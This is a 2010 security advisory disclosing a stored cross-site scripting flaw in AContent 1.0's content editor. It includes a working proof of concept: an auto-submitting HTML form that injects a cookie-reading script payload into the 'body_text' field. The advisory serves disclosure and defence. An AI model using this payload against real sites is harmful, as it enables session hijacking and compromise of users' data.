XSS vulnerability in AContent

Type securityvulns
Reporter Securityvulns
Modified 2010-09-17T00:00:00


Vulnerability ID: HTB22597 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent.html Product: AContent Vendor: Inclusive Design Institute ( http://www.atutor.ca/ ) Vulnerable Version: 1.0 Vendor Notification: 01 September 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "home/editor/edit_content.php" script to properly sanitize user-supplied input in "body_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/home/editor/edit_content.php?_cid=PAGE_ID" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="_course_id" value="54" /> <input type="hidden" name="_cid" value="PAGE_ID" /> <input type="hidden" name="title" value="page title" /> <input type="hidden" name="ordering" value="1" /> <input type="hidden" name="pid" value="0" /> <input type="hidden" name="alternatives" value="" /> <input type="hidden" name="current_tab" value="0" /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="test_message" value="" /> <input type="submit" name="submit" id="sbmtit" value="Save" /> <input type="hidden" name="displayhead" value="0" /> <input type="hidden" name="displaypaste" value="0" /> <input type="hidden" name="complexeditor" value="1" /> <input type="hidden" name="title" value="atest ah" /> <input type="hidden" name="formatting" value="1" /> <input type="hidden" name="head" value="" /> <input type="hidden" name="uploadedfile_paste" value="" /> <input type="hidden" name="body_text" value='hello world html<script>alert(document.cookie)</script>' /> <input type="hidden" name="weblink_text" value="" />

</form> <script> document.getElementById('sbmtit').click(); </script>